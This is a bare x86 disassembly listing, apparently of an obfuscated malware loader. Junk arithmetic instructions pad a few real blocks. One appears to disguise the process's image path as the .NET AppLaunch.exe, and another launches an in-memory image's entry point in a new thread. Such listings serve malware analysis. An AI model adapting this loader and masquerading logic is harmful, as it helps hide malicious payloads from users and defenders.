and esi, 0xa2
not eax
imul edx
mov edi, 0xd2
inc ebx
add edi, 0xe
not edi
and esi, 0xe7
inc esi
imul eax
bswap esi
and ebx, 0xe
not edx
rol ebx, 0x8c
rcr ebx, 0xb6
bswap eax
and eax, 0xda
rcl edi, 0x81
add ebx, 0xe8
dec esi
bswap edx
rcr eax, 0x39
ror edx, 0xef
add edx, 0xa6
not edx
rol edi, 0xf
rcr edx, 0x48
bswap esi
ror esi, 0xad
inc esi
neg eax
dec esi
not edx
bswap ebx
add ebx, 0x2f
sbb esi, 0x20
imul esi
sub edx, 0x8e
not edx
imul edx
sub edx, 0x87
neg edx
not esi
sbb edx, 0xa5
rcl edx, 0xa5
and edx, 0x85
ror edx, 0xd2
dec ebx
inc edi
dec edi
mov esi, 0xed
imul edx
rcl esi, 0xae
add edx, 0x81
sub ebx, 0xab
sub ebx, 0xb4
inc edx
imul esi
imul eax
dec eax
dec eax
rcl ebx, 0xa2
bswap edx
rol edi, 0xf0
ror ebx, 0x94
rcr ebx, 0xfd
inc edi
rcl edi, 0x8a
neg edx
neg edx
or edi, 0xaf
rcl edi, 0xd
sbb ebx, 0xda
dec esi
not esi
bswap edi
rcl ebx, 0x7c
neg esi
bswap eax
ror edi, 0xb5
rol edi, 0xca
not edx
neg edi
imul edx
and ebx, 0x2c
rol edi, 0xd9
rcl ebx, 0x29
inc esi
add ebx, 5
mov eax, 0x53
sbb esi, 0x36
neg ebx
ror ebx, 0xdd
imul ebx
bswap ebx
neg eax
inc ebx
neg edi
sub edi, 0x3d
bswap esi
or edi, 0xb1
dec esi
mov edi, 0x17
neg eax
inc ebx
rcr esi, 0x64
bswap esi
neg ebx
mov eax, dword [esp]
mov dword [ecx + 8], eax
mov dword [ebp + 0x10], eax
sub edx, 5
neg edi
neg ebx
neg edx
imul esi
sub ebx, 0
imul eax
sub eax, 0xc1
not edi
sub ebx, 0x4a
add eax, 0x91
bswap ebx
sbb edx, 0x4c
and esi, 0xa9
rol eax, 0x63
imul edx
mov edx, 0x3f
inc edi
ror ebx, 0x32
and ebx, 0x53
neg edi
dec eax
or esi, 0x1c
rcr ebx, 0x39
neg edx
mov edi, 0x2a
rol edi, 0x72
dec ebx
dec ebx
inc edx
add esi, 0x5c
neg edx
dec eax
not edx
add eax, 0x43
inc edi
rcr esi, 0xee
not edi
rol edx, 0x8f
neg ebx
sbb eax, 0xd1
neg edx
mov eax, 0x28
sub edi, 0x48
sub edx, 0x95
sbb edx, 0x43
ror eax, 0x1b
imul eax
or esi, 0xdb
not edx
not edi
and ebx, 0x3b
rcl edi, 0xda
imul ebx
or edx, 0x2e
rcr eax, 3
imul edi
or edi, 0xb
sub ebx, 0xbe
mov edx, 0xce
bswap esi
neg edx
rcl ebx, 0x37
not eax
and edi, 0x8d
sbb ebx, 0x6b
not edx
dec edi
or edx, 0xd
rol edx, 0x47
inc esi
neg esi
mov ebx, 0xd8
neg ebx
inc esi
inc esi
dec eax
imul ebx
sub ebx, 0xf9
rcr eax, 0xfd
imul eax
ror edx, 0xe3
or edi, 0x33
mov esi, 0x5f
ror edx, 0xc6
inc eax
rcl esi, 0xf4
sub eax, 0xb1
rcr ebx, 5
neg ebx
dec edi
imul eax
imul ebx
add edx, 0x52
mov edx, 0x3b
add edi, 0x31
and ebx, 0x29
bswap eax
neg esi
inc edi
rcr edx, 0xdb
bswap eax
rol ebx, 0xd7
sub ebx, 0x12
rol ebx, 0x61
inc edx
inc edx
and eax, 0x9a
neg edi
inc ebx
sub esi, 0x1a
sbb eax, 0xc7
mov edi, 0x39
sub edx, 0xde
imul eax
or esi, 0xbb
imul edx
not ebx
not esi
bswap eax
add edx, 0xb2
inc edx
rol eax, 0x14
inc eax
sbb esi, 0x5a
sub edx, 0x52
bswap edx
imul ebx
rol edi, 0x41
not ebx
rol eax, 0x31
or edi, 0x78
not ebx
not eax
inc edi
inc edx
sbb edi, 0x7f
add edi, 0x64
imul ebx
not eax
inc esi
rol edx, 0x6c
and eax, 0xe4
or ebx, 0x86
not eax
sbb esi, 0x80
neg edi
dec esi
sub eax, 0x2f
rcr edx, 6
vmovups ymmword [esp + 0x90], ymm0
vmovups ymmword [esp + 0x78], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
mov eax, dword [esp + 4]
vmovups ymmword [esp + 0x58], ymm2
vmovups ymmword [esp + 0x38], ymm1
mov eax, dword [eax + 0xe8]
mov dword [esp + 0x14], eax
test eax, eax
je 0x406614
mov eax, dword [ebp + 0x1c]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x20]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x38]
mov dword [ebp + 0x20], eax
push eax
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov word [ebp + 0x1c], ax
jmp 0x406614
and edi, 0x5d
neg edi
ror edi, 0x83
dec eax
inc esi
sbb eax, 0xe0
bswap ebx
neg ebx
imul edx
bswap edi
neg edi
rcl eax, 0xdf
rcr ebx, 0xbc
imul edi
rcl edi, 0xbd
sub edx, 0x66
dec eax
bswap edi
rol esi, 0x5e
sub ebx, 0x34
neg eax
and eax, 0x82
rcl esi, 7
ror eax, 0xb5
mov eax, 0x75
and esi, 0x9e
not eax
and edx, 0x97
add ebx, 0x5c
and ebx, 0xdb
rol eax, 0xea
rol esi, 0xb
imul edx
mov ebx, 0x5a
rcr esi, 0x89
rcr edx, 0xcb
imul edx
sbb edi, 0xce
rcl edx, 0xcd
dec esi
sbb edx, 0x2e
or ebx, 0xfb
add esi, 0xf
mov eax, 0x42
dec edi
and edi, 0x32
imul esi
not esi
dec edi
rcr esi, 0xb0
not ebx
bswap esi
or edx, 0xe
not esi
imul edi
neg edx
rcl esi, 0xec
ror edi, 0x82
not edi
neg edi
dec eax
ror edi, 0xad
dec ebx
ror edi, 0x34
imul eax
sbb edi, 0xf5
bswap edi
neg edi
neg ebx
sbb esi, 0x20
inc ebx
rcr eax, 0xe4
ror edx, 0xa2
sbb esi, 0xf
rol edi, 0x56
imul edi
neg esi
ror edx, 0x8d
and esi, 2
add edx, 0x6f
imul edi
bswap edi
neg esi
or ebx, 0x12
imul eax
inc edx
and esi, 0x78
sub edx, 0x6f
not esi
dec ebx
ror edx, 0x12
not eax
and edx, 0x7f
rcl edx, 0x32
imul edi
bswap edx
or ebx, 0xf
imul edx
not eax
imul edi
rol eax, 0xba
or esi, 0x8a
bswap edx
and edx, 0x9f
or ebx, 0x56
and esi, 0xd
dec esi
ror edi, 0x99
or esi, 0x6c
not edx
neg eax
imul ebx
sbb edi, 0x43
rcr edx, 0x7f
rol esi, 0x7b
neg esi
ror edx, 0xa6
neg edi
and esi, 0x6f
rcl edi, 0x4c
rcr edi, 0x80
dec esi
rol eax, 0xcd
sbb eax, 0x33
neg ebx
mov ebx, 0xb9
rcl ebx, 0xf1
not edx
ror eax, 0xfa
dec ebx
bswap esi
imul ebx
or edi, 0x16
or edi, 0x5a
rol edx, 0x7d
inc eax
neg esi
bswap esi
imul eax
bswap eax
bswap edx
neg eax
neg ebx
mov esi, 0xb2
not edi
imul ebx
not eax
rcl eax, 0xcc
rol edi, 0x6e
not ebx
mov eax, dword [esp + 4]
mov ecx, dword [esp]
add ecx, dword [eax + 0x28]
push 0
push 0
push 0
push ecx
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [esp + 0x14], 0
mov esi, eax
je 0x4067e0
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov dword [ebp + 0x20], eax
mov dword [ebp + 0x1c], ecx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
bswap esi
neg edi
ror edi, 0xbb
neg esi
imul ebx
inc eax
and esi, 0x94
neg esi
dec eax
rcr edi, 0x75
dec edx
bswap edi
not edi
mov esi, 0x62
sbb edi, 0xb1
ror ebx, 0xf8
or esi, 0x2e
or edx, 0x93
or eax, 0xa4
ror edx, 0x3c
and eax, 0x95
inc esi
bswap edx
not edx
bswap edx
mov eax, 0xea
neg ebx
neg ebx
rcr edi, 0x19
sbb edx, 0xd0
neg esi
mov edi, 0xb7
bswap edx
rcl edi, 0x61
ror edx, 0xb4
not eax
dec esi
bswap edx
imul edi
add ebx, 0x61
imul edx
not eax
imul eax
sbb edi, 0x1c
mov eax, 0xc6
mov esi, 0x1e
neg esi
not eax
rol edi, 0xb6
imul esi
neg esi
add edi, 0xf3
dec edi
not eax
inc eax
ror ebx, 0x81
rcr ebx, 0x5d
neg esi
neg ebx
bswap edi
bswap ebx
sbb ebx, 0x50
rcl eax, 0x6d
rcl eax, 0x1d
bswap esi
not eax
rcl edx, 0xdb
imul edi
or eax, 0x9a
neg esi
and eax, 0x85
not ebx
dec edx
add edi, 0xb9
bswap eax
imul esi
sbb esi, 0xe3
sbb esi, 0xbf
rcl eax, 0xcf
neg edi
not ebx
neg esi
imul esi
add edi, 0xc1
bswap edx
add esi, 0xd5
inc edi
sub edi, 0xb3
bswap esi
and ebx, 0xc5
dec edi
not esi
dec esi
sub edx, 0xfd
not edi
and ebx, 0xf0
bswap esi
bswap eax
neg esi
rcl edx, 0x8f
sub edx, 0x51
neg eax
sub edx, 0x7b
dec edx
neg edx
ror eax, 0xc0
mov edx, 0x57
rcr edx, 0x26
mov eax, 0xd5
sbb edx, 0xa9
dec esi
inc edi
neg esi
not ebx
and edx, 7
dec esi
imul edx
dec ebx
rcr edx, 2
rcl ebx, 0xf8
ror esi, 0x9b
not esi
add edx, 7
bswap eax
bswap ebx
not ebx
and eax, 7
bswap ebx
neg edx
sbb esi, 0x8a
inc ebx
or eax, 0xe8
dec eax
ror eax, 0xf9
rcl eax, 0x6b
imul edi
and ebx, 0xf
sub esi, 0xa4
and edx, 0x79
mov edi, 0x44
dec esi
imul edx
dec edx
dec edx
not edi
and edi, 0x7f
neg eax
and esi, 0x37
imul edi
dec ebx
xor eax, eax
add esp, 0x466b0
pop esi
pop edi
pop ebx
pop ebp
ret